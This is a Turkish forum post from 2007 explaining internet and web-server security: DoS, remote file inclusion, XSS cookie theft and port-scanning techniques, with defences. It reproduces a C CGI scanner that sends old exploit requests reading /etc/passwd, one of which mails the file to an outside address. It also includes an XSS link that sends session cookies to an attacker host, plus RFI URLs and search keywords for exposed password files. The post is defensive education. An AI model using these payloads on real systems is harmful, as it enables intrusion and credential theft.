FrMaLeV
Bilgi Dağıtmak İçin El Ele
Arama terimlerinizi girin
Arama formu gönder
Web
mumsema.net
Mumsema.NET
>
Webmaster / Web Dizayn Scriptler
>
Webmaster
>
Webmaster Genel
İnternet Güvenligi
Kullanıcı ismi
Hatırla
Şifreniz
Forum Kuralları
Bize Ulaşın
İletiler
Kayıt ol
Yardım
Ajanda
Bütün Forumları okunmuş kabul et
İnternet Güvenligi ile ilgili Benzer Konular
237 Kez Görüntülendi
İnternet Işığı yanıyor Fakat İnternet Çok Zor Açıyor
Network ve İnternet
İnternet
Tatlı Sözlük
Windows System Güvenligi -E-book-
Genelbilgi ve İpucu
İnternet nedir? İnternet bize ne Sunar?
Network ve İnternet
İnternet Olmadan da İnternet
Konu Dışı Başlıklar
Php Fushion Nedir+Kurulum (Videolu)
|
Phpbb2 v.2.0.22 Kurulumu (Resimli Anlatım)
Konu Araçları
06-08-2007
#
1
Profil Bilgileri
ENGİN
İnternet Güvenligi
İnternet Güvenligi başlıklı yazı Mumsema İnternet Güvenligi Forum Alev
Internet Güvenliği
Çağımızın olmazsa olmazı arasına giren Internet, beraberinde bir çok tehlikeyi de getirmektedir
Bu tehlikeleri, Kredi Kartı bilgilerinin çalınması, Web Uygulamalarına ebedi olarak el konulması, e-Mail hesaplarının ele geçirilmesi, kişisel bilgilerin yayınlanması
vs şeklinde sıralamak mümkün
Peki bu tehlike unsurlarına karşı etkili çözümler nelerdir? Nasıl korunulur?
Öncelikli olarak kişisel bilgisayar güvenliği önemli
Kullanıcı kendi güvenliğini tam manasıyla sağladıktan sonra, gerisi sistem güvenirliğine kalmış bir olay
Sistem güvenirliği de gerekli yamalar, güvenlik önlemleri
ile daha iyi bir duruma getirilebilir, her türlü saldırıya karşı donanımlı hale getirilebilir
PC (Personal Computer) güvenliğinde en önemli madde bilinçli olmaktır
Kullanıcı bilinçli ise, sistem’in %90 ’ı güvendedir demektir
Şöyle ki, sistem hataları, güvenlik zafiyetleri belki fixlenebilir, lakin kullanıcı dikkatsizliği ve bilinçsizliği Sosyal Mühendislik sanatını iyi kullanan saldırganlara davetiye çıkarmakta, sistem ne kadar güvenli olsa bile, maalesef bu güvenlik devre dışı kalmaktadır
O yüzden ilk madde bilinçli olmaktır
Internet ortamında, bilgisayarlar arası bağlantıda sürekli bir dosya paylaşımı vardır
Bu dosya paylaşımı sırasında, art niyetli kullanıcılar tarafından, virüs, trojan, worm, spy
yollanabilmekte veya farklı amaçlar için kullanıcı bilgisayarları hacklenebilmektedir
Bunlara bilinçli ve dikkatli olmadan sonra gelebilecek en iyi çözüm iyi bir Firewall kullanmaktır
Sizin dikkatsizliğiniz anında, devreye Firewall güvenlik kalkanları girecektir
Bu sayede bilgisayarınızdaki veri alış-verişini görebilir, veri kontrolünü sağlayabilirsiniz
Yukarıda saydıklarımıza ek olarak Domain Güvenliği kısmında anlatacağımız e-Mail Account güvenliği başlığı altında yer alacak olan maddeler de vardır
Kendi güvenliğini sağlayan bir kullanıcı, internet ortamında oluşturduğu Web Uygulamalarını nasıl korumalıdır? Neler yapabilir?
Öncelikli olarak Web sitesi güvenliğinde (
Host Güvenliği
için), sisteminize karşı yapılabilecek saldırıları iyi bilmeniz gerekir
Bir saldırının boyutunu, verebileceği zararı ve mantığını anlamadan, bu saldırıya karşı çözüm üretemezsiniz
Sisteme yapılabilecek en basit (görünen) saldırılardan biri olarak
Denial Of Service (DOS) ve DDOS saldırıları
nı örnek verelim
Denial Of Service (DOS) saldırıları diye nitelendirilen saldırı türü, sistem işleyişini engelleme, belirli verilere erişimi sağlama yerine yetkili kullanıcıların uygulamalara erişimini engelleyerek bilgi sistemleri kaynaklarını kilitler
Bu Attack türü ile sistemin sunduğu hizmet veya hizmetleri tamamiyle engelleyebilir ve devre dışı bırakabilir
Dos Attack işleyiş olarak, Attacker’ın çok büyük oranda karışık ve karşılanamaz verileri hedef sistem ağlarına veya bilgisayarlarına doğrudan göndermesini baz alır
Dos Attack yöntemini tehlikeli kılan yön ise çok eski tip makineler ve modemler ile çok karmaşık ve sofistike sistemleri devre dışı bırakmaktır
DOS attacklar sadece e-ticaret ve web servislerine yapılmamaktadır
Bu saldırılardan routerlar, sanal özel ağlar(VPN) ve IRC sunucularıda etkilenmektedirler
Bir servis sağlayıcının router’ına yapılacak bir saldırı sonucu network trafiği altüst olabilir ve sonucunda da müşterilerinin bağlantıları kopabilir
Daha önce en büyük IRC ağlarından Undernet’in bazı önemli sunucuları DDoS yöntemiyle çökertilmişti
Saldırıda servis sağlayıcılar saniyede yüzlerce MB veri bombardımanına tutulmuştu
Distributed Denial Of Service adını alan hizmet aksatmaya yönelik saldırı türünün DOS Attack’tan farkı, birden fazla noktadan tek bir merkeze yapılan sistem engelleme eylemidir
Şöyle ki; DOS saldırıları tek bir kaynaktan olup, herhangi hedef bir sisteme doğrudur
Ancak DDOS saldırılarında birden fazla makina tek bir hedefe focus olur
Bahsettiğimiz makina sayısı yüzlerce hatta binlerce olabilir
DDOS saldırılarının tehlikeli olmasının nedeni de bundan kaynaklanır
Peki dev şirketlerin bile sistemlerini aciz bırakan bu saldırı türüne karşı alabileceğimiz önlemler nelerdir?
Yeterli Bant Genişliği sağlayabilirsiniz
Saldırılar bant genişliğine göre zarar verirler
Bant genişliği yeterli düzeyde olursa etkilenme azalacaktır
Sisteminizi sürekli güncelleyin
Çünkü bu tür saldırılarda saldırı sırasında bir engelleme söz konusu olmayabilir
O yüzden saldırı öncesi hazırlık yapmanız gerekiyor
İyi denebilecek düzeyde bir Firewall veya IDS (Saldırı Tespit Sistemi) kullanın
Bu sayede ağınızı gözetleyebilirsiniz (Çok sayıda SYN_RECV görmeniz sisteminizin DOS saldırısına maruz kaldığını gösterecektir
)
Saldırıya maruz kalan sistem ise, gelen bağlantıları reddetmelidir
Ancak zombie kullanılmış ise bu işe yaramayacaktır
Sistemi kapatmanız da Attacker’ın menfaatine olacaktır
Çünkü saldırgan zaten bunu hedeflemektedir
Bu yüzden en önemli güvenlik, saldırı öncesi hazırlıktır
Bir başka etkili saldırı ise
Remote File Include
Bu saldırının da en büyük etkisi ise, sunucu üzerindeki tüm sitelerin saldırı sonucu sömürülebilmesidir
Bu da saldırının ne derece tehlikeli olduğunu göstermektedir
Remote File Inclusion (RFI), PHP ile kodlanmış sistemlerde, tecrübesiz webmaster’lar tarafından yapılan kodlama hatalarından faydalanılarak sisteme sızma yöntemidir
Bu saldırının verebileceği büyük zarar ise, RFI açığı olan site üzerinden, aynı serverda bulunan tüm sitelere sızılabilmesi
Bu yüzden bu güvenlik açığı, saldırganlar tarafından tercih edilen yöntemler arasına girmiştir
Saldırganlar, RFI açığına rastladıkları sitede, açığı kullanarak web sayfa sunucusunun sağlamış olduğu diğer siteleri de sömürmek için ve server’daki diğer sitelere erişimi sağlayabilmek için Listpatch dediğimiz kod dizilimini kullanmaktadırlar
Listpatch’lerin upload edildiği URL’lerin, PHP ‘yi desteklemesi ve Listpacth içerisinde bulunan kodları compile etmemesi gerekiyor
Listpatch PHP destekli bir hosta (Örn:
[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz.
Üye Olmak İçin Tıklayın...
]
) yüklendikten sonra, Attacker için tüm şartlar hazırlanmış demektir
Örnek bir RFI açığı barındıran site;
http://www
example
com/path_to_qnews/q-news
php?id=Attacker List Patch]
http://www
example
com/path_to_phpgreetz/content
php?content= [Attacker List Patch]
http://www
example
com/PATH/admin/plog-adminfunctions
php?configbasedir=Attacker ListPatch]
Saldırıya karşı alınabilecek önlemler nelerdir? Nasıl Korunulabilir?
Bu saldırı temel olarak sistemde yapılan kodlama hatalarından kaynaklanmaktadır
O yüzden kodlama sürecinde yapılan hata olasılığı göz önüne alınarak, uygulama paylaşıma konulmadan önce yeniden check edilmelidir
Sizin sisteminizde bu açık yoksa bile, eğer sunucuda bu açığı barındıran herhangi bir site var ise, sunucu üzerinden sizin sitenize de ulaşılabilir, sizin host’unuz da hacklenme ile karşı karşıya gelebilir
O yüzden seçtiğiniz sunucuların da yeteri kadar güvende olduğundan emin olmalısınız
Geçelim bir başka yönteme
Son zamanlarda çok sık kullanılan ve genellikle Hotmail servisinde karşılaşılan
Cross Site Scripting (XSS) Saldırıları
nın kullanılarak hack yapılması hatta bu yöntem ile Domain Reg
Mail (daha sonra değineceğiz) ‘in hacklenerek, Domain Hi-Jacking edilmesi, saldırıyı tehlikeli yapmaya yeterlidir
XSS Saldırıları temel olarak
Cookie
’leri baz almaktadır
Cookie’ler, kendinize kişiselleştirmiş olduğunuz bir web-sayfasınız varsa veya bir ürün ya da servis için kayıt olmuşsanız, sizi bağlandığınız sisteme hatırlatarak zamandan tasarruf yapmanızı sağlar
Siteye yeniden girdiğinizde sistem daha önceden verdiğiniz cevapları hatırlar
Bilgileri değiştirdiğiniz zaman da, sistem sizi cookie ler sayesinde yeni halinizle hatırlar
Browser’a yazılan bir siteye bağlandığınızda, bağlanacağınız sayfanın sunucusu, bilgisayarınızda kendi yazmış olduğu cookie’lerin olup olmadığına bakar
Eğer varsa, cookie’ler aracılığı ile size sabit bir ID atanır
Eğer sisteminizde, sunucuya ait cookie yoksa size ayrı bir SessionID atanır
Kaydettiği bu dosya hem sisteme, hem sizin bilgisayarınıza işlenir
Cookie’lerin formatı aşağıda verdiğimiz gibidir;
Domain : False : / : False : Bitiş Tarihi : Name : Value
Sırasıyla tanımları;
Domain:
Cookie’yi sisteminize kaydeden Web sayfasının adını içerir
False
: Domainde bulunan tüm makinelerin değişkene erişim hakkının olup olmadığını
belirleyen bir bayraktır
/
: URL’nin adresini gösterir
False
: SSL bağlantıları için kullanılır
Bitiş Tarihi
: Genellikle saniye cinsinde olup, çerezin bilgisayarınızdaki süresini belirler
Name
: Değişkenin adı
Value
: Değişkenin değeri
Sistemlerin kodlanma sürecinde yapılan hatalar, sistemde bir takım zafiyetlere ve güvenlik açıklarına sebebiyet vermektedir
Attacker’lar bu sistem zafiyetlerinden faydalanarak sisteminizde kayıtlı olan cookie’leri kullanabilir, daha önceden girdiğiniz sitelere sizin adınıza bağlanabilir ve eğer site yöneticisiyseniz siteyi ele geçirebilir, istediğini yapabilir
İşte bahsettiğimiz Cross Site Scripting saldırılarında, kodlanma sürecinde yapılan hatalardan faydalanılarak Cookie’ler çalınmaktadır
Kısaca Request ile kullanıcıdan alınan verilerin sayfa içerisinde yazdırılması ile oluşan Cross Site Scripting yani XSS açığıdır
Örneğin; QueryString ile alınan sayfa numaraları yada ilgili kaydı gösteren id değişkenleri;
http://www
hedefsite/Default
Asp?Page=1
yada
http://www
hedefsite/Product
Asp?id=1
http://www
hedefsite/Default
Asp?Kategori=Haber gibi
Attacker’lar, arama ve haber modüllerinde, profil panellerinde
vs bulunan bu sistem hatası sayesinde, modüllere ufak scriptler ekleyerek siteyi yönlendirebilir veya hata vermesine neden olabilir
Ayrıca Attacker, HTML tabanlı bir e-posta içine veya hazırladığı web sayfasına özel bir URL gömerek hedef sistem yöneticisine yollayıp, bu URL’yi kendi bilgisayarında açmasını, dolayısıyla hedef, farkında olmadan SessionID’sini hedefin URL’de tanımadığı adrese gönderecektir
Örneğin; cyber-security
org’a üye olduğunuzu varsayalım
Bu siteye kullanıcı adınızla giriş yaptığınızda yeni bir session oluşturmuş oldunuz
Ve tam bu esnada size gelen bir e-posta’da ;
<a href =
[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz.
Üye Olmak İçin Tıklayın...
]
Document
write(\\\\\\’img src= "http://www
x-master">
yukarıdaki gibi bir link gördünüz ve farkında olmadan buna tıkladınız
Dolayısıyla siz bu linke tıklamakla farkında olmadan sessionID’nizi, x
master
biz’e göndermiş oluyorsunuz
Cross Site Scripting saldırılarına karşı alınabilecek önlemler nelerdir peki?
Request ile alınan değerleri her zaman QueryString’de olsa Replace ile Aşağıdaki şekilde Temizleyin ve Request verilerini alırken mutlaka tam sayıya çevirin…
Recid = CInt(Trim(Server
HTMLEncode("Recid")))
Recid = Replace(Recid, "<" , "<") ’küçüktür
Recid = Replace(Recid, ">" , ">") ’büyüktür
Recid = Replace(Recide, "’" , "’") ’tek tırnak
Recid = Replace(Recid, Chr(10) , "") ’Satır Başı
Recid = Replace(Recid, Chr(34) , "") ’çift tırnak
*
ASP
NET
’de
Web
config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ " gibi karakterleri sistem
kendisi kontrol eder
Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri
etkili olmaz
<System
Web>
<Pages validateRequest="True"></Pages>
</System
Web>
IPS Kullanıyor iseniz, Yeni imza oluşturup;
Application Layer / HTTP / HTTP
URL_DECODED Protokolüne;
’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük
Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz
Kullanmış olduğunuz Script’lere karşı da Attacker’lar saldırı yapmaktan çekinmeyeceklerdir
O yüzden script güvenliği de büyük önem taşımaktadır
Örnek olarak CGI Script’ler’e değinecek olursak, başlı başına
CGI Saldırıları
adlı konuyu ele alabiliriz
CGI (Common Gateway Interface), Web Servisleri ile bu servislerin dışındaki programlar arasında etkileşim (ortak çalışma) platformu oluşturmak için geliştirilmiş bir standarttır
CGI, aslında bir programdır
Web’in statik yapısına, HTML kodu içinden çağrılan CGI programları dinamik bir nitelik kazandırmaktadır
En popüler CGI uygulamalarından birisi Web Sayaçlarıdır
Web sayfalarını kaç kişinin ziyaret ettiğini saptayan küçük uygulamalar dış program olarak, bir web sayfası içinden çağrılabilir
CGI programları gerçek zamanlı çalışırlar
CGI’lerin önemli uygulama alanlarından birbaşkası da, web üzerinde doldurup gönderilen formlar üzerindeki bilgileri server tarafında değerlendirip kullanıcıya cevabı göndermektir
CGI programları "çalıştırılabilir" kodlar olduğundan, bir başkası, kolaylıkla sizin sisteminizde program çalıştırabilir
Bu yüzden, CGI kodları sistemde özel yerlerde tutulur ve o sistemin görevlilerinin denetimi altındadır
CGI programları herhangi bir dilde yazılabilir : C, Fortran, Pascal, C++, Perl, Unix Shell, Visual Basic vb
CGI eğer C ya da Fortran gibi bir dilde yazılırsa, derlenmelidir
Perl ya da Unix Shell gibi ortamlar ise script ortamlardır ve bu şekilde yazılmış CGI Script’ler doğrudan çalıştırılabilir
Özellikle Java ve JavaScript kullanımlarının yaygınlaşması, CGI’nin ilk zamanlardaki popüleritesini azaltmıştır
Öte yandan, CGI programları/scriptleri, bulundukları sistemde saklıdırlar ve çalıştıklarında o sistemin kaynaklarını kullanırlar
Oysa Java Appletleri ve JavaScript, doğrudan HTML döküman içinde onu çağıran web listeleyicisine gelirler ve burada icra edilebilirler
Bu da, Java Applet ve JavaScript’in CGI’ye göre önemli bir avantajıdır
C
G
I Scriptler Web sayfalarının, serverdaki executable (açılabilir) durumda olan dosyaları kullanabilmesini sağlayan basit araçlardır
Uzun zamandan beri Web sitelerinde bazı işleri yürütmek için kullanılan CGI Scriptlerin güvenirliği ise tartışılır durumda
Çünkü basit çaptaki CGI Scriptler güvenlik protokolleri gözden geçirilmeden hazırlanmıştır ve sitenizde kullanmanız güvenliğinizi tehlikeye düşürebilir
Şöyle ki; CGI açıklarından faydalanarak hedef siteler hack’lenebilir, hatta daha sonra sistemi re-hack etmek için backdoor dediğimiz arka kapılar bile bırakılabilir
Bu saldırıya karşı alınabilecek önlemler ise ;
Attacker Scriptlerde bulunan açıkları gerek manuel yollarla gerekse de CGI Scanner’ları kullanarak öğrenebilir
Seçilecek olan Scanner’ın veritabanında tüm açıkları barındırması ve sürekli güncellenme özelliğine sahip olması gerekir
Çünkü bir Scanner veritabanında ne kadar çok sistem hatasından kaynaklanan açıkları barındırırsa Attacker’ın sisteme sızma şansı o kadar artacaktır
Program dışı manuel olarak CGI Açıkları aramanın kolay bir yöntemi olarak da Google gibi gelişmiş craw’lerlara sahip olan sistemlerde " cgi-bin/password
txt, cgi-bin/ornek
pwd " gibi key-word’leri aratmaktır
Ek olarak birçok CGI-Scanner’ı
[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz.
Üye Olmak İçin Tıklayın...
]
adresinden indirebilirsiniz
Ayrıca sisteminizde CGI açığı olup olmadığını anlayabilmek için Cgiscan
c exploitini kullanabilirsiniz
Exploitin kaynak kodlarını veriyoruz
************************************************** *********************
#include <sys/stat
h>
#include <sys/types
h>
#include <termios
h>
#include <stdio
h>
#include <string
h>
#include <fcntl
h>
#include <sys/syslog
h>
#include <sys/param
h>
#include <sys/times
h>
#include <sys/time
h>
#include <sys/socket
h>
#include <netinet/in
h>
#include <sys/signal
h>
#include <arpa/inet
h>
#include <netdb
h>
#define MAXSTR 12
main (int argc, char *argv[])
{
struct sockaddr_in sin;
/* int outsocket, serv_len, len,c,outfd; */
/* struct hostent *nametocheck; */
/* struct in_addr outgoing; */
struct hostent *hp;
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int sock, i=0, X;
char *stringhe[MAXSTR];
for(i=0;i<MAXSTR;i++) {
stringhe
=(char *) malloc(sizeof(char)*100);
[i]
}
/* Classic PHF bug
It still Works! */
stringhe[0]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\\\\\\n";
/* test-cgi bug, possible to view documents location */
stringhe[1]="GET /cgi-bin/test-cgi?*\\\\\\n";
/* htmlscript bug, a good language that can us have passwd
*/
stringhe[2]="GET /cgi-bin/htmlscript?
/
/
/
/etc/passwd\\\\\\n";
/* view-source bug, some httd use this
*/
stringhe[3]="GET /cgi-bin/view-source?
/
/
/
/etc/passwd\\\\\\n";
/* Wrap allow you to have a directory listing on IRIX 6
2 systems */
stringhe[4]="GET /cgi-bin/wrap?/
/
/
/
/
/etc\\\\\\n";
/* Campas allow you to get the passwd on NCSA server 1
2 */
stringhe[5]="GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a\\\\\\n";
/* With pfdisplay & webdist is possible to get the passwd on IRIX 6
2 systems */
stringhe[6]="GET /cgi-bin/pfdisplay
cgi?/
/
/
/
/etc/passwd\\\\\\n";
stringhe[7]="GET /cgi-bin/webdist
cgi?distloc=;cat%20/etc/passwd\\\\\\n";
/* With aglimpse is possible to mail the password file anywhere
*/
stringhe[8]="GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5dashie\\\\\\@cyberdude
com\\\\\ \</etc/passwd;eval$CMD;echo\\\\\\n";
/* An interesting variant for phf*/
stringhe[9]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat%20passwd\\\\\\n";
stringhe[10]="GET /cgi-bin/php
cgi?/etc/passwd\\\\\\n";
/* a new test-cgi but the bug is the same
*/
stringhe[11]="GET /cgi-bin/nph-test-cgi?*\\\\\\n";
while(fgets(hosta,100,stdin))
{
if(hosta[0] == ’\\\\\’)
break;
hosta[strlen(hosta) -1] = ’\\\\\’;
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\\\\\\n",sizeof(char));
hp = gethostbyname (hosta);
for(i=0;i<MAXSTR;i++) {
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin
sin_addr, hp->h_length);
sin
sin_family = hp->h_addrtype;
sin
sin_port = htons(80);
sock = socket(AF_INET, SOCK_STREAM, 0);
X=connect(sock,(struct sockaddr *) &sin, sizeof(sin));
write(sock,stringhe[i],strlen(stringhe[i])*sizeof(char));
while((X=read(sock,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
}
printf("\\\\\\nScacco&Dark Schneider - S0ft Pr0ject 98");
}
************************************************** *********************
Web uygulamalarının güvenliğinde en önemli nokta
sunucu güvenliği
dir
Unutmayınız ki, sunucu güvenli olmadığı takdirde sizin siteniz ve uygulamanız ne kadar güvenli olursa olsun, sitenin hack’lenmesine engel olamayacaktır
Örnek olarak;
Sisteminizi hedefleyen bir saldırganın, sitenizde açık bulamadığını varsayalım
Saldırgan bu aşamadan sonra sunucuyu incelemeye çalışacaktır
Sunucu üzerinde bulduğu her açıktan/hatadan faydalanacaktır
Örnek olarak sunucunun port durumunu kontrol edecektir
Bir sistemin taranması, temel olarak hedef konumunda bulunan ağda bulunan bileşenleri ve bu bileşenlere yetkisiz olarak erişim hakkına sahip olmak için yapılmaktadır
Tarama,aktif sistemlerin belirlenmesi, işletim sistemlerinin saptanması ve bu bileşenlerin hedef ağdaki lokasyonunun belirlenmesi gibi basamaklardan oluşur
İlerleyen teknolojinin ürünü olarak birçok işletim sisteminde birden fazla program aynı anda çalışmakta ve çalışan bu programlardan bazıları da dışardan gelen request (istek)’lere açık olmaktadırlar
Uygun görülen request’lere response (cevap) vermektedir
Sunucu programları çalışan bilgisayarlara verilen IP adresleri ile istenilen bilgisayarlara ulaşılır
Ulaşılan bilgisayarlar üzerindeki hangi sunucu programdan hizmet almak istendiğini belirlemek ise port’lar aracılığıyla sağlanır
Bu işlemi sağlayabilmek için bilgisayarlar üzerinde sanal bağlantı noktaları oluşturulur ve her bağlantı noktasını adresleyebilmek için Port numarası dediğimiz pozitif rakamlar verilir
Port numaraları 2 byte olarak tutulur
1024’ten küçük olan port numaraları Root dediğimiz özel yetkilere sahip kullanıcılar tarafından kullanılır
Büyük olanlar ise normal kullanıcılar tarafından kullanılmaktadır
Port kavramını öğrendikten sonra Attacker’ların, Port’lardan faydalanma eylemine değinelim
Attacker sistem hakkında yeteri kadar veri topladıktan sonra yapacağı ise hedef sistemin TCP veya UDP Portlarına bağlanarak hangi port’un açık olduğunu belirlemek veya hangi port’un dinleme durumunda olduğunu saptamaktır
Yani
Port Taraması
yapmaktır
İlk önce de dediğimiz gibi, saldırı bilmeden saldırıya karşı çözüm üretilemez
Port Tarama Nasıl Yapılır?
TCP Connect Scan
Transmission Control Protokol (TCP), bilgisayarlar ile veri iletme ve alma birimleri arasındaki iletişimi sağlayan, bu yolla veri transferini mümkün kılan yapıdır
TCP’nin İşleyişi:
TCP Oturumu öncelikli olarak bir sunucudan servis ister, diğer istemci ise response olarak (eğer bağlantı isteği kabul edilirse) SYN Flag (SYN Bayrağı) ’ı kalkık paketini sunucu bilgisayara iletir
Paketi alan sunucu ise, gönderene response olarak SYN Paketini aldığını ve bağlantı request’ini onayladığını göstermek için SYN Bayrağı kaldırılmış (set) paketi yani SYN-ACK Paketini istemci bilgisayara gönderir
Son aşamada ise sunucu makinenin gönderdiği SYN-ACK paketini alan istemci bilgisayar sunucuya ACK paketini göndererek yollanan paketi aldığını bildirir
Bahsi geçen tarama yöntemi yani TCP Connect Scan işlemi ise anlattığımız oturum açma işlemini gerçekleştirir ve oturum açıldığı zaman bağlantıyı keserek bize portun durumunu, açık veya kapalı olduğunu gösterir
Yalnız Attacker bu yöntemi zor durumda kalmadığı zaman yapmaz
Çünkü oturum açma isteği gönderildikten ve bu işlem gerçekleştikten sonra isteği gönderen cihazın IP Adresi kaydedilir
Ama zorunlu durumlarda ve hedef sistemin portunun kesin bir şekilde açık veya kapalı olarak öğrenilmek istenmesi durumunda bu yol garantidir
TCP SYN SCAN
TCP Connect Scan işleminde, bu yolun riskli olduğunu çünkü IP Paketlerinin loglandığını söylemiştik
Loglama işlemi, istemci bilgisayarın Oturum açtığı anda olur
Oturum açılırsa log tutulur
TCP SYN Scan yarı-açık tarama olarak da bilinir
Bu tabirin bahsi geçen tarama yöntemine uygun görülmesinin nedeni ise, TCP Connect Scan’deki gibi tam olarak oturum açmamasından dolayıdır
TCP SYN Scan SYN bayraklı paketi gönderir ve SYN/ACK bayraklı paketi alır
Oturum açmayı ise RST/ACK bayraklı bir paket göndererek reddeder
Eğer hedef port açık ise SYNC/ACK paketi gelir
Oturum açılmadığından dolayı da loglanma ihtimali ortadan kalkar
TCP FIN Scan
TCP Connect ve TCP Syn Scan işlemlerinde oturum açma işlevlerine değindik
TCP FIN Scan’de ise Oturum açılmadan hedef portların açık veya kapalı olma durumları öğrenilir
TCP FIN Scan’de hedef portlara FIN Paketleri gönderilir
*RFC793 ‘ e göre kapalı durumda olan bir port, bağlantı durumu söz konusu olmadan aldığı FIN paketine, RST Paketiyle cevap verir
Yani hedef porta gönderdiğimiz FIN Paketlerine eğer cevap gelirse port kapalıdır, eğer cevap gelirse port açıktır
SYN/FIN Scannig Using IP Fragments
Bu tarama yöntemi SYN ve FIN Tarama yöntemlerinin daha gelişmiş bir türüdürdiyebiliriz
Bu tarama yönteminde herhangi bir paket gönderilmez
Hedef porta paketleri daha küçük IP Fragmenti olarak gönderilir
Bu işlem Attacker’ın yaptığı işin anlaşılmasına engel olmak içindir
TCP Xmas Tree Scan
Bu tarama yöntemi TCP SYN taramasına benzer
Hedef porta FIN (No More Data From Sender), URG (Urgent Pointer Field Significant) ve PUSH (Push Function) bayraklı paketler gönderir ve kapalı olan portalardan RST cevabı beklenir
Eğer cevap gelmezse hedef portlar açıktır
(RFC793’e göre /
[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz.
Üye Olmak İçin Tıklayın...
]
TCP Null Scan
Daha önceki tarama yöntemlerinde paketler veya IP Fragment göndererek port’ların açık ve kapalılık durumlarını öğrenmiştik
Bu tarama yönteminde ise TCP Xmas Tree’nin tam tersine bayrak taşımayan bir paket gönderilir
Daha öncede belirttiğimiz gibi RFC793’e göre kapalı durumlardaki portlardan RST cevabı gelir
Eğer cevap gelmezse hedef port açıktır
TCP ACK Scan
Bu tarama yönteminde Attacker, eğer hedef Firewall kullanıyorsa kullandığı Firewall’u bypass etme ve hedef portların açık ve kapalılık durumlarını öğrenebilir
TCP ACK Scan’in genel mantığı statik veya dinamik paket filtrelemede firewall’ların bağlantıyı ilk başlatan tarafı hatırlayamamasıdır
Bazı firewall’lar onaylanmış olan bağlantılara izin verir ve ACK (Acknowledgment Field Significant) paketinin Firewall’lardan veya Router’lardan engellenmeden geçmesi mümkün kılınabilir, hedef portlar firewall’a rağmen taranabilir
TCP FTP Proxy (Bounce Attack) Scan
Bu tarama yöntemi FTP Proxy’lerin Bounce adını verdiğimiz özelliğinden faydalanır
RFC959 tanımına göre, FTP Protokolünün Proxy FTP bağlantısına izin verir
Bu bağlantı sayesinde server-PI (Protocol Interpreter)’e ağdaki herhangi bir yere dosya yollayabilecek server-DTP (Data Transfer Process) isteği aktif edilebilir
Bu açık özellikle firewall arkasında bağlı bulunan bir FTP’ye bağlandığımız zaman sunucuya kendi port’larını taratması sağlandığı için çok tehlikeli bir tarama türüdür
Çünkü Firewall bypass edilmiş olur
TCP Windows Scan
TCP ACK taramasına benzer
Bu tarama türü TCP Windows Size’dan kaynaklanan hataları baz alarak bazı işletim sistemlerinde portların açık ve kapalılık durumunu ya da filtreli olma durumlarını kontrol eder
TCP RPC Scan
Bu tarama yöntemi ile Remote Procedure Call (RPC-Uzak İşlem Çağrıları) port’larından aktif halde çalışan işlemleri ve sürümleri öğrenebiliriz
Eğer sistemde çalışan RPC’ler ile ilgili hata ve aksaklıklar mevcut ise bunlar Attacker için sisteme girmek için bir yoldur
(Sadece Unix tabanlı sistemlerde mevcuttur)
UDP Scan
Daha önceki tarama yöntemleri (RPC Scan Hariç) TCP tabanlı idi
TCP tabanlı taramalarda, sıra numaraları, kod bitler dediğimiz yapılar vardı
Ancak UDP’de böyle bir şey mevcut değildir
UDP ’de paketler direk gönderilir ve kaybolan paketlerin yenisi gönderilmez
Bu yöntem hedef sisteme UDP Paketlerini gönderme işlemini baz alır
Eğer gönderilen UDP Paketlerine response olarak "ICMP Port Unreachable" mesajı alınırsa port kapalıdır demektir
Eğer bu responsa alınmazsa port’un açık olduğu anlaşılır
Bu işlemleri yaparken acele etmemek gerekir
Çünkü bant genişliği probleminden dolayı gelmesi gereken mesaj paketi gecikebilir
Ve eğer ivedi davranılırsa port’un açık olduğu o nedenle cevap gelmediği düşünülebilir
Ama port açıktır ve bu hatadan dolayı Attacker amacına ulaşamayabilir
Ident Scan
Ident Protokolü RFC1413’te tanımlanmış bir protokoldür
Bu tarama hedef sistem üzerinde eğer Identd aktif olarak bulunuyorsa, sistemde çalışır vaziyette olan servislerin listesine ve bu servisleri çalıştıran kullanıcı isimlerine ulaşmak için yapılır
Eğer Identd aktif değilse bu tarama türü işe yaramayacaktır
Tüm bunlara karşı sunucu güvenliği nasıl sağlanacak?
Port Tarama yönteminden korunma bir IDS Sistemi ile engellenebilir
Veya IPTables’da Burst/Burst-Rate gibi bir limitasyonla engellenir
Şöyle ki; bir kaynak IP adresinden bir noktaya belirli bir "t" süresi dahilinde gelen SYN paketlerini sayan ve anormal sayıda aynı adrese connection kurmaya çalışan ya da birden fazla porta "t SYN "paketi gönderen IP Adresleri otomatik olarak bloke edilir
Bu teknik engellemekteden daha ziyade artificial-intelligiance ile gerçekleştirilebilen bir savunma yöntemidir
Port taramasından korunmak için kullanılan bir başka yöntem ise Firewall dediğimiz Güvenlik Duvarlarının kullanımıdır
Piyasada bulunan Firewall’ların çoğu Port taramalarını engelleyebilme özelliğine sahiptir
Hatta Nmap’in yaptığı gizli port taramalarını bile yakalayabilme kabiliyetine mevcut Firewall’lar vardır
Tavsiye edebileceğimiz Firewall’lar; hem güvenlik duvarı hem de saldırı tespit sistemi olan Zone Alarm
(
[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz.
Üye Olmak İçin Tıklayın...
]
), IIS net firmasının Windows tabanlı saldırı tespit programı olarak yazdığı BlackICE (
[Hoşgeldiniz.. Yudumla Ailesine Üye Olmadan Forumdaki Linkleri Göremezsiniz.
Üye Olmak İçin Tıklayın...
]
) ‘tır
Yöntemler daha fazla sıralanabilir, lakin en sık karşılaşılan hack’lenme vakaları bu saldırılardan yana olmaktadır
